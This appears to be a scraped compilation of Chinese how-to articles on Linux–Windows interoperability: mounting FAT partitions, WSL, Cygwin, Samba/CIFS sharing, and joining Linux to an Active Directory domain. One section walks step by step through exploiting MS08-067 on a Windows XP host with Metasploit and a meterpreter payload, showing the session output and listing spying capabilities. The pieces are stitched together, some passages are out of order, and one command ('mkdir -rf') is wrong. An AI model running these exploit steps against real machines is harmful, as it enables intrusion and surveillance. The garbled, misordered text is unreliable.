linux加入windows域

合集下载

linux 下挂载windows盘

linux 下挂载windows盘

图5/mnt/dvfat auto,iocharset=cp936 0 0 ”,存盘后,下次启动Linux即可自动挂载d盘了。其中“auto”即为自动挂载,当然我们也可以用“defaults”代替“auto”。其它分区的挂载做类似修改即可。
当然,如果每次启动Linux后访问Windows 分区都挂载一次,那就给我们的学习和工作带来了诸多不便。有没有一个彻底的解决方法呢?答案是肯定的。其实我们只要修改“/etc”目录下的“fstab”文件即可。
如果不是根用户,键入“su”后输入密码转为根用户,再键入“cd /etc”命令转到“/etc”目录,然后键入“gedit fstab”命令(或“vi fstab”)编辑“fstab”文件,如图(6):
5、挂载Windows分区
Linux要读取Windows分区的文件,同样必须先挂载。RedHat Linux现在已经能够支持多种文件系统,对于Windows常见的fat或fat32格式已经能够很好地支持了。挂载Windows的 fat或fat32 分区,仍然使用“mount”命令。但是挂载之前我们必须先创建一个挂载点,一般也选择挂载在“/mnt”目录下。比如挂载 Windows 下分区格式为fat32的d盘,我们可以进行如下操作:先用“su”命令取得root权限后,再在shell下输入“cd /mnt”命令转到“/mnt”目录,再输入“mkdir d”,回车后就创建了挂载点,然后再输入“mount -oiocharset=cp936 /dev/hda5 /mnt/d”命令就将d盘挂载在“/mnt/d”下了。其中“-o iocharset=cp936”用来正常显示文件名中的中文,否则文件名只能显示出英文,中文则显示成“?”;“/hda5”即表示Windows下的d盘,“/hda”表示为主IDE接口的第一硬盘,若为“SCSI”硬盘则为“/sd”;而d盘之所以为“/hda5”,是因为在Linux下,最多可以有4个主分区,因此“1-4”是预留给主分区的,扩展分区的逻辑驱动器一般为“5-16”。可见在Linux下,每块硬盘最多可以有16个分区,要挂载其它分区只需做相应的修改即可。

windows下使用linux命令的几种方法

windows下使用linux命令的几种方法

windows下使用linux命令的几种方法在Windows系统中,由于其不同的文件系统和命令行环境,无法直接运行Linux命令。

但是,有几种方法可以在Windows系统上模拟或轻松使用Linux命令。

1. Linux虚拟机:使用虚拟化软件(如VirtualBox、VMware)安装Linux虚拟机是运行Linux命令的最直接方法之一、通过创建一个虚拟机,可以在Windows系统中运行完整的Linux环境,从而可以使用所有的Linux命令和功能。

用户可以在虚拟机中运行各种Linux发行版,如Ubuntu、CentOS等,与真正的Linux环境没有太大差异。

3. MSYS2:MSYS2是一种基于MinGW-w64的软件,可在Windows上提供一个类似于GNU工具链环境。

它包含了大量的GNU命令行工具,包括众所周知的Linux命令。

用户可以在MSYS2终端中使用这些工具来模拟Linux命令行环境,并在Windows上执行类似于Linux的工作流程。

与WSL不同,MSYS2提供了一个独立的命令行环境,用户可以在其中工作而不影响到Windows本身。

4. Cygwin:Cygwin是一个用于Windows的开源工具,提供了大量类似于Linux命令和工具的Windows DLL。

用户可以通过安装Cygwin来使用大部分常见的Linux命令。

Cygwin在Windows上提供了一个模拟的Linux环境,其中包含用于执行类似于Bash的命令、使用Linux工具和应用程序的功能。

5. Git Bash:Git Bash是Git版本控制系统附带的一个轻量级终端模拟器。

它基于MinGW-w64,并提供了包含一些基本的Linux命令(如ls、grep等)的运行环境。

用户可以在Git Bash终端中运行这些命令,并且可以通过安装其他软件包(如coreutils)来扩展命令的功能。

需要注意的是,这些方法提供了在Windows系统上模拟或轻松使用Linux命令的途径,但在一些情况下,由于Windows系统的限制或命令的不同行为,可能会存在一些差异。

Linux下如何访问Windows分区

Linux下如何访问Windows分区

mkdir /mnt/vfat
下一步,仍旧在根用户下,在提示符下键入“Linuxconf”,启动Linuxconf。移动“tree view(树视图)”或Linuxconf左面板的滚动条,向下移到标有“File Systems(文件系统)”的条目,单击“+”展开树结构。
然后单击“Access local drive(访问本地驱动器)”。在右面板中,可以看到当前已装的文件系统列表。(新的装配点并不在里面,因为您还没将它添加到里面。请见下文。)
Type(类型):文件系统类型。Windows 98分区的文件系统类型为vfat。
Mount point(装配点):您选定的装配点名称(如/mnt/vfat)。
不同窗口还有其他不同的选项,它们用以设置用户访问分区的权限,选择在启动时是否停止分区的装配及其他选择。需要特别注意的选项包括:
选项:除非指定启动系统时不装配分区(Not Mount at boot time),该选项卡中不必选择“User mountable(可装配用户)”选项。
选好各个选项,如果有疑问,按“Help(帮助)”按钮。
完成后,选择“Mount(装配)”图标检查新的分区,确认分区已经成功地装配其中了。
单击“Add(添加)”按钮,将显示标有“Volume specification(容量说明)”的选项卡。在第一个突出的条目(名为Base)中,有一系列的框需要填写,或者输入内容或者从下拉菜单中选择。下面就是其中的框:
Partition(分区):Windows分区的物理位置(例如,第一硬盘的第一个分区为/dev/hdal);
Dos选项:如果希望用户帐号访问分区,那么“default user id(默认的用户ID)”和“default group id(默认群组ID)”都应该设为用户帐号(这样,就不需要用“su”命令返回到作为默认方式的根用户);translation mode(翻译模式)在大部分情况下都应设为“auto(自动)”,而不是指定为“text(文本)”或“binary(二进制文件)”;default permission(默认权限)指定对分区的访问是否有读、写及执行分区上文件和目录的权限。您可以选择755的设置值,它表示用户有读、写和执行的权限,而群组及其他有读和执行的权限。

WIndowswindows上使用linux

WIndowswindows上使用linux

WIndowswindows上使⽤linux 极简教程1、从选择Linux发⾏版(如Ubuntu)2、搜索栏输⼊「功能」,勾选「使⽤于Linux的Windows⼦系统」,点击「确定」3、重启电脑4、先进⼊ UbuntuInstalling, this may take a few minutes...Please create a default UNIX user account. The username does not need to match your Windows username.For more information visit: https://aka.ms/wslusersEnter new UNIX username: martinNew password:Retype new password:passwd: password updated successfullyInstallation successful!To run a command as administrator (user "root"), use "sudo <command>".See "man sudo_root" for details.Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 4.4.0-19041-Microsoft x86_64)* Documentation: https://* Management: https://* Support: https:///advantageSystem information as of Sun Apr 25 01:40:59 CST 2021System load: 0.52 Processes: 7Usage of /home: unknown Users logged in: 0Memory usage: 46% IPv4 address for eth1: 192.168.56.1Swap usage: 0% IPv4 address for eth2: 10.15.38.1031 update can be installed immediately.0 of these updates are security updates.To see these additional updates run: apt list --upgradableThe list of available updates is more than a week old.To check for new updates run: sudo apt updateThis message is shown once a day. To disable it please create the/home/martin/.hushlogin file.5、后续可以在cmd.exe 或 powerShell中执⾏bash.exe进⼊ UbuntuC:\Users\Martin>bash.exeTo run a command as administrator (user "root"), use "sudo <command>".See "man sudo_root" for details.切记:⼩⼼执⾏mkdir -rf mnt6、执⾏cd mnt就进⼊ Windows的⽂件系统martin@LAPTOP:/mnt/c/Users/Martin$ cd /martin@LAPTOP:/$ pwd/martin@LAPTOP-ANG1G62G:/$ lsbin dev home lib lib64 media opt root sbin srv tmp varboot etc init lib32 libx32 mnt proc run snap sys usrmartin@LAPTOP:/$ cd mntmartin@LAPTOP:/mnt$参考:。

windows下使用linux命令的几种方法

windows下使用linux命令的几种方法

windows下使用linux命令的几种方法在Windows操作系统中,可以使用以下几种方法来运行Linux命令:1. 使用Cygwin软件进行模拟:Cygwin是一个在Windows上运行的类UNIX模拟环境,它提供了一组GNU和开源工具,包括bash shell、GNU工具链和其他类似Linux的命令行工具。

通过安装Cygwin,用户可以在Windows系统中运行大部分的Linux命令。

安装Cygwin后,用户可以通过打开Cygwin终端来执行Linux命令。

2. 使用Windows Subsystem for Linux (WSL):WSL是Windows 10中的一个功能,它允许用户在Windows系统中运行一个完整的Linux发行版,如Ubuntu、Debian等。

通过在Windows系统中安装WSL,用户可以在自己的机器上启动一个Linux终端,并直接在其中运行Linux命令。

3. 使用Git Bash:Git Bash是一个用于Windows系统的Shell环境,它提供了一个基于Mingw的Linux类型的Shell。

通过在Windows系统中安装Git Bash,用户可以在其中运行大部分的Linux命令。

Git Bash还包含了一些其他的实用工具和命令,如Git版本控制系统。

4. 使用Windows下的GNU工具集:GNU工具集是由Free Software Foundation(自由软件基金会)开发的一套命令行实用工具集,其中包括一些类似于Linux的命令。

Windows操作系统中的一些软件,如GnuWin32、UnxUtils等,都提供了GNU工具集的Windows版本。

通过安装这些软件,用户可以在Windows环境中运行一些常见的Linux命令。

5. 使用Windows下的PowerShell:PowerShell是Windows系统中的一种命令行脚本语言和Shell环境,它提供了一些与Linux命令类似的功能。

linux访问windows共享文件夹的方法

linux访问windows共享文件夹的方法

linux访问windows共享文件夹的方法在Linux系统中,要访问Windows共享文件夹,可以使用以下几种方法:方法一:使用命令行挂载共享文件夹1. 首先,在Linux系统中打开终端。

2. 创建一个本地目录,用于挂载共享文件夹。

例如,创建一个名为"share"的目录:sudo mkdir /mnt/share3. 使用下面的命令挂载Windows共享文件夹:sudo mount -t cifs //Windows主机IP地址/共享目录 /mnt/share -o username=用户名,password=密码,domain=域名其中,Windows主机IP地址是指Windows主机的IP地址,共享目录是Windows主机共享的目录,用户名是Windows系统中的有效用户,密码是该用户的密码,域名是Windows系统中的域名。

4. 如果挂载成功,可以使用cd命令进入/mnt/share目录,查看和访问共享文件夹中的文件。

方法二:使用文件管理器挂载共享文件夹1. 打开文件管理器(例如Nautilus,Dolphin或Thunar)。

2. 在地址栏中输入smb://Windows主机IP地址/共享目录,然后按下回车键。

其中,Windows主机IP地址是指Windows主机的IP地址,共享目录是Windows主机共享的目录。

3.输入用户名和密码,然后点击"连接"按钮。

4.如果连接成功,可以在文件管理器中访问共享文件夹中的文件。

方法三:在fstab中配置自动挂载共享文件夹1. 首先,在Linux系统中打开终端。

2. 使用以下命令安装cifs-utils软件包:sudo apt-get install cifs-utils//Windows主机IP地址/共享目录 /mnt/share cifs username=用户名,password=密码,domain=域名 0 0其中,Windows主机IP地址是指Windows主机的IP地址,共享目录是Windows主机共享的目录,用户名是Windows系统中的有效用户,密码是该用户的密码,域名是Windows系统中的域名。

kalilinux入侵window实例

kalilinux入侵window实例

kalilinux⼊侵window实例我使⽤Kali Linux的IP地址是192.168.0.112;在同⼀局域⽹内有⼀台运⾏Windows XP(192.168.0.108)的测试电脑。

本⽂演⽰怎么使⽤Metasploit⼊侵windows xp sp3。

启动msfconsole:# msfconsole选择⼀个漏洞:msf > search platform: windows xp sp3exploit/windows/smb/ms08_067_netapi是08年发现的漏洞,等级Great。

查看某个漏洞的详细信息;包含使⽤⽅法、⽀持的平台等等,⾮常有帮助:msf > info exploit/windows/smb/ms08_067_netapi依次执⾏如下命令:msf > use exploit/windows/smb/ms08_067_netapi> set payload windows/meterpreter/bind_tcp> set RHOST 192.168.0.108 (设置⽬标主机IP地址)> exploit如果⽬标主机有这个漏洞的话,你就可以控制它了;如果没有,尝试使⽤其他漏洞。

[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)[*] Attempting to trigger the vulnerability...[*] Sending stage (751104 bytes) to 192.168.0.108[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32meterpreter >现在你就可以控制⽬标主机了,可以截屏、录⾳、视频、下载⽂件、杀进程等等;使⽤help查看可以执⾏的命令。

winbindd 的最佳实践

winbindd 的最佳实践

winbindd 的最佳实践Winbindd的最佳实践:实现跨平台身份验证与集成Winbindd是一个在Linux和类Unix系统上用于与Windows域控制器交互的守护进程。

通过winbindd,Linux和类Unix系统可以无缝地集成到Windows Active Directory域中,实现单点登录和统一的用户管理。

以下是在使用winbindd时的最佳实践建议:规划和准备阶段:确定集成需求:明确你的Linux或类Unix系统需要与Windows域进行哪些交互,如用户身份验证、文件共享等。

确保域控制器可用:确保Windows域控制器正常运行,并且可以从Linux或类Unix系统访问。

选择合适的版本:根据你的操作系统和需求,选择适合的winbindd版本。

配置winbindd:编辑/etc/winbindd.conf文件,配置winbindd的行为。

例如,设置idmap配置,指定如何映射Windows用户ID和组ID到Linux/Unix用户ID和组ID。

配置SSSD(System Security Services Daemon):SSSD是一个用于管理用户身份验证和授权的守护进程,与winbindd协同工作。

确保SSSD配置正确,以便与winbindd无缝集成。

启动和测试winbindd:启动winbindd服务:使用适当的命令(如systemctl start winbind)启动winbindd 服务。

测试身份验证:尝试使用Windows域用户登录到Linux或类Unix系统,确保身份验证成功。

测试文件共享:如果配置了文件共享,确保Linux或类Unix系统可以访问Windows域中的共享文件。

监控和维护:监控winbindd日志:定期检查winbindd的日志文件,以确保没有错误或警告。

更新和维护:定期更新winbindd和相关软件,以确保安全性和性能。

备份配置文件:备份winbindd的配置文件,以便在需要时恢复。

Linux加入windowsad域步骤详解(winbindsamba方案)

Linux加入windowsad域步骤详解(winbindsamba方案)

Linux加⼊windowsad域步骤详解(winbindsamba⽅案)linux加⼊域中,⼀般都会想到加⼊LDAP中,这样管理起来⽅便,不过在linux下LDAP配置起来可不是很容易的,在企业办公环境中⼀般windows AD域占据霸主地位,配置⽅便嘛,针对⽣产环境的linux集群机器才会选择LDAP,不过有时候在办公环境中也混杂了linux机器,为了规范管理,也是需要把linux机器加⼊window是 AD中的。

linux加⼊windows AD中⽅便操作的有两种⽅案(分为centos/ubuntu两种情况)。

都说了是⽅便操作,那必然是懒⼈的⾸选⽅法了。

1 likewise-open在debian/ubuntu中使⽤,可以使⽤apt安装,配置⽅便,但是由于likewise的公司被收购,likewise的相关产品不再是开源产品,更杯具的是⽹上连以前的源码包都找不到,还好ubuntu中⽬前还是可以通过apt安装的。

2 winbind+samba在centos上使⽤,之前下载了⼀份ubuntu上的likewise的源码在centos上编译发现相关底层库有些⼩问题,顾在centos上采⽤winbind+samba⽅案。

在ubuntu下使⽤likewise真是⼗分⽅便,apt安装完后,两条命令就可以把机器加⼊windows AD中,如下:复制代码代码如下:domainjoin-cli join your-domain-name Administratorlwconfig AssumeDefaultDomain True所以,本⽂主要实验centos加⼊windows AD的情况实验环境:centos6.4安装相关依赖包复制代码代码如下:yum install krb5-libs krb5-devel pam_krb5 krb5-workstation krb5-auth-dialogyum install samba-winbind samba samba-common samba-client samba-winbind-clients安装完相关软件后,可以使⽤authconfig-tui命令进⾏图像化配置,其实图像化配置也就是修改⼏个⽂件⽽已:复制代码代码如下:nsswitch.conf#/etc/nsswitch.confpasswd: files winbindshadow: files winbindgroup: files winbind以上配置的意思是先通过⽂件配置验证,然后再进⾏winbind验证2 smb.conf复制代码代码如下:#/etc/samba/smb.conf 域名⼀定得⼤写[global]workgroup = YOUR-DOMIANpassword server = 172.16.14.20realm = YOUR-DOMIANsecurity = adsidmap config * : range = 16777216-33554431template shell = /bin/bashwinbind use default domain = truewinbind offline logon = truetemplate homedir = /home/%Uwinbind separator = /winbind enum users = Yeswinbind enum groups = Yes切记你的域名⼀定得⼤写3 krb5.conf复制代码代码如下:#/etc/krb5.conf 域名必须得⼤写[logging]default = FILE:/var/log/krb5libs.logkdc = FILE:/var/log/krb5kdc.logadmin_server = FILE:/var/log/kadmind.log[libdefaults]default_realm = YOUR-DOMIANdns_lookup_realm = falsedns_lookup_kdc = falseticket_lifetime = 24hrenew_lifetime = 7dforwardable = true[realms]YOUR-DOMIAN = {kdc = 172.16.14.20 #AD域服务器地址}[domain_realm]your-domian = YOUR-DOMIAN.your-domian = YOUR-DOMIAN重启相关服务复制代码代码如下:/etc/init.d/smb restart/etc/init.d/winbind restart现在把机器加⼊AD域中:复制代码代码如下:net ads join -U Administrator回车后需要输⼊AD域的管理员密码,加⼊域之后可以通过wbinfo命令进⾏验证。

计算机加域步骤

计算机加域步骤

计算机加域步骤
嘿,朋友们!今天咱来聊聊计算机加域的那些事儿。

你想想看啊,计算机就像一个小世界,而加域呢,就像是给这个小
世界找到了一个更大的组织,能让它更好地运转和发挥作用。

首先呢,你得找到那个能开启加域大门的钥匙,也就是要确保你的
计算机和域控制器能正常通信。

这就好比你要去一个新地方,得先找
到路才行呀!
然后呢,在计算机的系统设置里一顿操作,找到加域的选项。

这时
候可别手抖选错啦,不然就像走错路一样麻烦呢!输入正确的域名,
就像输入正确的目的地一样重要。

接下来,系统可能会让你验证身份,这就像是进一个重要场所要出
示证件一样。

可不能马虎哦,得准确无误地输入账号和密码。

再然后,就等着计算机和域进行一番“亲密交流”啦。

这过程就好像
两个人在互相了解、磨合。

等啊等,要是一切顺利,嘿,恭喜你,你的计算机就成功加入域啦!就像是一个人成功融入了一个新集体,从此有了更多的资源和支持。

你说这加域是不是挺有意思的?就跟我们生活中加入一个新团队或
者新组织差不多。

得找对路,得有身份验证,还得和大家好好磨合。

加域之后呢,你的计算机就能享受到更多的好处啦。

比如可以统一管理啦,可以共享更多的资源啦,就像在一个大家庭里,大家互相帮助,共同进步。

所以啊,别小看这计算机加域的步骤,每一步都很关键呢!要是哪一步出了差错,那可就麻烦咯!就像盖房子,一块砖没放好,可能整座房子都不稳固呢。

朋友们,好好对待计算机加域这件事儿吧,让你的计算机在域的大家庭里茁壮成长,为你更好地服务呀!这就是计算机加域的那些有趣又重要的步骤,你们都记住了吗?。

iperf linux到windows使用方法

iperf linux到windows使用方法

iperf linux到windows使用方法在Linux和Windows操作系统之间使用iperf进行网络性能测试有一些不同的步骤。

下面是如何在Linux上运行iperf并连接到Windows的简单步骤:1. 在Linux上安装iperf工具。

你可以使用包管理器来安装该工具,例如在Ubuntu上使用以下命令:```shellsudo apt-get install iperf```2. 在Windows上下载iperf工具。

你可以从iperf官方网站(https://iperf.fr/iperf-download.php)下载Windows版本。

3. 在Windows上运行iperf服务器。

打开命令提示符(CMD),导航到下载的iperf工具的目录,并输入以下命令:```shelliperf3.exe -s```这将启动iperf服务器,并准备接收连接。

4. 在Linux上运行iperf客户端。

打开终端,在命令行中输入以下命令:```shelliperf3 -c <Windows主机IP地址>```将`<Windows主机IP地址>`替换为运行iperf服务器的Windows主机的IP地址。

此命令将连接到Windows主机并开始进行性能测试。

接下来,你将看到性能测试的结果,包括带宽、延迟等信息。

请注意,在Windows上,你可能需要在防火墙中打开iperf的端口才能正常运行。

对于iperf3,默认使用端口为5201,因此请确保Windows防火墙允许通过该端口的连接。

这些是基本的步骤,你可以通过iperf的其他选项来自定义测试参数,例如测试时间、并发连接数等。

你可以使用`iperf3 --help`命令查看所有可用选项和参数的列表。

Linux加域

Linux加域

=
# Build the mapping
[kdc]
profile = /var/kerberos/krb5kdc/kdc.conf
[appdefaults]
pam = {
debug = false
ticket_lifetime = 36000
# A mode 777 should be set on /home/%D
template shell = /bin/bash
[homes]
comment = %S
path =/home/%D/%S
writeable = yes
browsable = yes
* 检查日志
* 检查DNS设置: 应该为Windows域主DNS
* 检查防火墙配置与SELINUX配置
# 调错
* "BAD SIG"
注释掉smb.conf中的"client use spnego = no"选项
* "DNS UPDATE FAILED"
default_realm =
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
= {
kdc = :88
admin_server = :749
* Samba4: yum install samba4.* ;A newer version of samba
* Kerberos5: yum install pam_krb5.* krb5-workstation.* krb5-libs.*

虚拟机LINUX与主机WINDOWS文件共享如何实现

虚拟机LINUX与主机WINDOWS文件共享如何实现

虚拟机LINUX与主机WINDOWS文件共享如何实现虚拟机(VM)是一种能够在主机操作系统上模拟另一个操作系统的计算机程序。

在一些情况下,我们可能希望在虚拟机的Linux操作系统中访问和共享主机的Windows文件。

共享文件可以方便地在主机和虚拟机之间传输数据,从而提高工作和学习效率。

本文将介绍一些实现虚拟机Linux和主机Windows文件共享的方法。

1.共享文件夹一种常见的方法是使用虚拟机软件提供的共享文件夹功能。

虚拟机软件如VMware、VirtualBox等都支持在虚拟机和主机之间设置共享文件夹。

首先,在虚拟机软件中将主机的文件夹设置为共享文件夹,然后在虚拟机中通过挂载该共享文件夹来访问和操作主机的文件。

2. Samba共享Samba是一个开源软件套件,允许Linux系统与Windows系统之间实现文件共享和网络通信。

通过在虚拟机中安装Samba软件并进行相应的配置,可以轻松地在虚拟机Linux系统中访问和共享主机Windows文件。

首先,在虚拟机的Linux系统中安装Samba软件包,并在配置文件中指定要共享的Windows文件夹。

然后,通过虚拟机中的网络连接工具(如smbclient)或文件管理器(如Nautilus)来访问和操作共享文件。

3.NFS共享NFS(Network File System)是一种允许Linux系统之间进行文件共享的协议。

通过在虚拟机的Linux系统中安装和配置NFS服务器,可以实现与主机Windows系统之间的文件共享。

首先,在主机的Windows系统中安装和配置NFS服务器软件,指定要共享的文件夹。

然后,在虚拟机的Linux系统中安装NFS客户端软件,并通过挂载NFS共享文件夹的方式访问和操作主机的文件。

4. FTP(File Transfer Protocol)共享FTP是一种用于在不同计算机之间传输文件的协议。

通过在虚拟机的Linux系统中安装和配置FTP服务器软件,可以实现与主机Windows系统之间的文件共享。

linux加入windows域之完美方案

linux加入windows域之完美方案

linux加入windows域之完美方案笔者这几天在研究samba服务通过ad域进行用户验证。

在查资料的过程中发现。

关于linux加入windows域,网上资料不少,但是按着网上的说法做大多不成功,甚至很多人估计都不知道自己在说什么,最后一个net ads join就认为已经成功加入到域了,可是然后呢?作为域内的一个成员,普通的机器要可以提供域内的用户登陆;作为samba服务要把共享加入到目录中,这样才起到加入域的作用嘛。

笔者经过反复实验,终于把linux加入到windows域一些细节记录下来,不敢独享,特拿出。

笔者用的linux为centos5.3。

ad域为win2k3 sp2。

域为:Win2k3:Name:ad1Ip:192.168.1.241Dns:192.168.1.241Centos5.3:Name:FilesrvIp:192.168.1.246Dns:192.168.1.241Ok,let’s go!1.samba服务器软件需求krb5-workstation-1.2.7-19pam_krb5-1.70-1krb5-devel-1.2.7-19krb5-libs-1.2.7-19samba-3.0.5-2[root@filesrv CentOS]# rpm -qa|grep krb5krb5-auth-dialog-0.7-1krb5-libs-1.6.1-25.el5krb5-devel-1.6.1-25.el5pam_krb5-2.2.14-1krb5-workstation-1.6.1-25.el5[root@filesrv CentOS]# rpm -qa|grep sambasamba-swat-3.0.28-0.el5.8samba-common-3.0.28-0.el5.8samba-client-3.0.28-0.el5.8samba-3.0.28-0.el5.8如果centos在安装的时候没有取消默认选中的”Base”,则krb5的包是默认全部安装如果没有选择安装samba可以这样安装[root@filesrv CentOS]# rpm -ivh xinetd-2.3.14-10.el5.i386.rpm[root@filesrv CentOS]# rpm -ivh --aid samba*.rpm2.配置kerberos和samba因为笔者用的系统为centos所以为保证一次成功的准确率,这里就使用字符界面下的图形工具来配置了。

如何把linux加入到windows域中

如何把linux加入到windows域中

1、首先安装samba服务器,这是加入到域的必须软件
2、运行setup图形化界面,开始配置加入域
3、选择验证配置
4、配置验证信息,开启kerberos认证和winbind认证
5、设置要加入的域和域控制器的ip地址(注意这里是大写!!而域名本身是小写的)
6、选择登录的Shell工具,然后加入到域
7、如果一切顺利,会提示输入域的用户名和密码,这里密码不显示的
8、注意该图显示的Joined ‘Linux’ to realm ‘’,表示成功了
9、再修改smb.conf的相关选项
10、配置smb服务开机自动运行
11、这是活动目录中的显示,看到linux主机了吧,表示加入成功了
12、域用户的用户目录不会自动创建,所以要手动建立/home/PIP/administrator 目录,同时注意要给administrator目录写入权限,否则会登录失败的
最后一步、重启Linux服务,用windows2003域中的administrator 用户登录,如果登录成功,就可以了。

linux加入AD網域

linux加入AD網域

linux加入AD網域环境综述:Windows AD / DNS 服务器:主机名:GBDOOB11IP 地址:192.168.118.130OS: win2003 标准版sp2 r2Linux 服务器:主机名:PostgreSQL seekIP 地址: 192.168.118.151OS: Rhel 5.41,首先登录AD, 保证DNS 的工作正常,网络正常。

下面的工作就要登录到linux 服务器进行操作了,建议先tar 一下/etc 目录。

2,修改本机的/etc/hosts 文件,保证有真实IP 和真实主机名对应的那一行:192.168.118.151 seek postgresql3 ,修改本机IP 地址,实际设置效果是本机的IP 是192.168.118.151 ,掩码是255.255.255.0,GATEWAY=192.168.118.2。

(原谅我罗嗦吧,这段内容和某些内容本来就是写给不懂linux 的人看的)vi /etc/sysconfig/network-scripts/ifcfg-eth0# Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE] DEVICE=eth0BOOTPROTO=noneHWADDR=00:0c:29:fe:28:f8ONBOOT=yesTYPE=EthernetNETMASK=255.255.255.0IPADDR=192.168.118.151GATEWAY=192.168.118.2修改后重启网络服务:/etc/init.d/network restart###实际测试发现将BOOTPROTO 从dhcp 改成none 后,DNS 配置文件会被清空,所以将重启网络服务的操作放在修改DNS 之前。

4,修改DNS 配置文件[root@postgresql ~]# vi /etc/resolv.conf; generated by /sbin/dhclient-scriptsearch .localnameserver 192.168.118.130####以上的设置是因为我做测试时使用的来自其他vmware 的虚拟机,修改过windows AD和linux 服务器的网段和IP,导致网络环境发生了变动才需要做的更改。

Linux和Windows操作系统远程互访的方法

Linux和Windows操作系统远程互访的方法

Linux和Windows操作系统远程互访的方法Linux和Windows操作系统远程互访的方法Linux和Windows操作系统远程互访的方法rdesktop 是UNIX 和Linux 系统的一个远程桌面连接软件,它通过MicrosoftWindows NT、Windows 2000 提供的终端服务(Terminal Services)以及WindowsXP 的远程桌面服务(Remote Desktop),能在Linux系统下远程登录Windows的窗口系统并使用。

一、 rdesktop的下载和安装在各种版本的RedHat Linux 系统安装盘上,一般第三张光盘上都带有rdesktop 的可执行的RPM软件包,例如:RedHat 9.0: rdesktop-1.2.0-1.i386.rpmFedora Core 2: rdesktop-1.3.1-3.i386.rpm通过用 #rpm -q rdesktop 查看系统中是否已安装了rdesktop,然后安装相应的rpm 软件包。

我们还可以下载rdesktop 的源程序,在各个操作平台上编译和安装。

下面介绍在RedHat 9.0下安装rdesktop-1.3.1,下载的ftp 地址为:f t p : / /t u 1 7 2 0 5 5 /pub/mirror/g e n t o o/d i s t f i l e s /rdesktop-1.3.1.tar.gz编译安装如下:[root@host12cx]# tar xvzfrdesktop-1.3.1.tar.gz[root@host12 cx]# cdrdesktop-1.3.1[root@host12 cx]# 。

/configure[root@host12 cx]# make[root@host12 cx]# makeinstall[root@host12 cx]#安装成功后,在/usr/local/bin下生成了可执行的rdesktop 程序。

wsl 导入 方法

wsl 导入 方法

wsl 导入方法标题,使用WSL导入方法在Windows上运行Linux.在过去,要在Windows操作系统上运行Linux程序通常需要安装虚拟机或者双启动系统。

然而,随着Windows Subsystem for Linux (WSL) 的推出,用户现在可以直接在Windows上运行Linux环境,而不需要虚拟机或者双启动系统。

WSL是一个Windows 10的功能,它允许用户在Windows上运行一个本地的Linux发行版,如Ubuntu、Debian、Fedora等。

通过WSL,用户可以在Windows命令行界面中运行Linux命令,使用Linux工具和应用程序,甚至可以在Windows文件系统中访问和操作Linux文件。

要在Windows上使用WSL,首先需要确保你的Windows版本支持WSL功能。

然后,你需要在Windows上启用WSL功能。

在Windows 10中,你可以通过控制面板的“启用或关闭Windows功能”选项来启用WSL。

一旦启用了WSL,你可以从Microsoft Store中下载并安装你喜欢的Linux发行版,比如Ubuntu。

安装完Linux发行版后,你可以通过在命令提示符或PowerShell中输入"bash"来启动Linux shell。

这将打开一个新的命令行界面,你可以在其中运行Linux命令和应用程序。

此外,你还可以通过WSL访问Windows文件系统,这意味着你可以在Linux环境中处理Windows文件,而不需要复制或移动文件。

总的来说,WSL为Windows用户提供了一个方便的方式来在Windows操作系统上运行Linux环境。

它极大地简化了开发人员和系统管理员在Windows上使用Linux工具和应用程序的过程。

如果你是一个需要在Windows上使用Linux的用户,不妨尝试一下WSL,它可能会为你的工作带来很大的便利。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

测试Linux加入Windows域Taylen 2010.7 一、环境本文是综合网上一些资料整理,重新测试成功的。

1、windows 2003 为域控服务器,域名为 。

a)主机名:win2003-testb)IP地址:10.30.64.502、客户端机器为Redhat 企业版5.4 。

a)主机名:redhat53b)IP地址:10.30.64.53c)DNS:10.30.64.50二、Linux加域1.环境安装a)Windows 的安装和域控的配置,这里省略。

b)Redhat安装过程也省略掉,主要是配置。

i.需要安装软件列表:[root@redhat53 ~]# rpm -qa|grep sambasamba-3.0.33-3.14.el5samba-client-3.0.33-3.14.el5samba-common-3.0.33-3.14.el5system-config-samba-1.2.41-5.el5[root@redhat53 ~]# rpm -qa|grep krb5krb5-auth-dialog-0.7-1krb5-workstation-1.6.1-36.el5krb5-libs-1.6.1-36.el5pam_krb5-2.2.14-10krb5-devel-1.6.1-36.el5ii.更改的配置a)设置好IP地址和DNS。

通过setup命令可以配置更改。

b)设置主机名和域名。

前面测试很多次没成功都是这个没配置,郁闷。

i.通过修改HOSTS文件和/etc/sysconfig/network文件。

vim /etc/sysconfig/network加入HOSTNAME=vim /etc/hosts10.30.64.53 redhat53iii.启动smb服务和winbind服务。

Service smb start 和service winbind startWinbind一般默认是启动的。

Smb没有。

通过:Chkconfig –level 345 smb on 配置自动启动。

2.加域配置a)Redhat中可以直接使用setup命令进行图形化加域。

b)首先输入setup 回车。

如图。

c)选择Authentication configuration 回车;d)选择左边的Use Winbind 和右边的Use Kerberos 和Use WinbindAuthentication ,选中Next继续;e)填上域名和KDC服务器IP地址。

选中Next继续。

f)在Security Model中选择ads 。

Domain中填写域名,Domain Controllers、ADSRealm 以及选择对应的shell 。

如图。

g)选中Join Domain 加入域。

弹出下图;h)有点像windows加域一样,选择Yes回车,并输入域控中有权限加域的管理员账号和密码。

i)点击OK。

后返回界面;j)点击OK。

确定。

计算机了。

l)至此,Linux加域就已经完成。

从windows服务器访问Linux SMB服务就不在需要输入账号密码了。

m)还有值得注意的是,Linux服务器启动登录后需要验证一次与域服务器的联系,加域时候的账号密码需要输入一次,好像有点不方便。

三、SMB服务的配置。

1. 首先用以下命令测试一下wbinfo -t 测试通信成功与否checking the trust secret via RPC calls succeeded(返回此信息表示成功了)wbinfo -u 查看域用户wbinfo -g 查看组用户getent group 查看在/etc/group 里生成映射域组用户(看不到?)getent passwd 查看在/etc/passwd 里生成映射域用户(看不到?)要先配制NSSNss为Name Service Switch,控制帐号的验证。

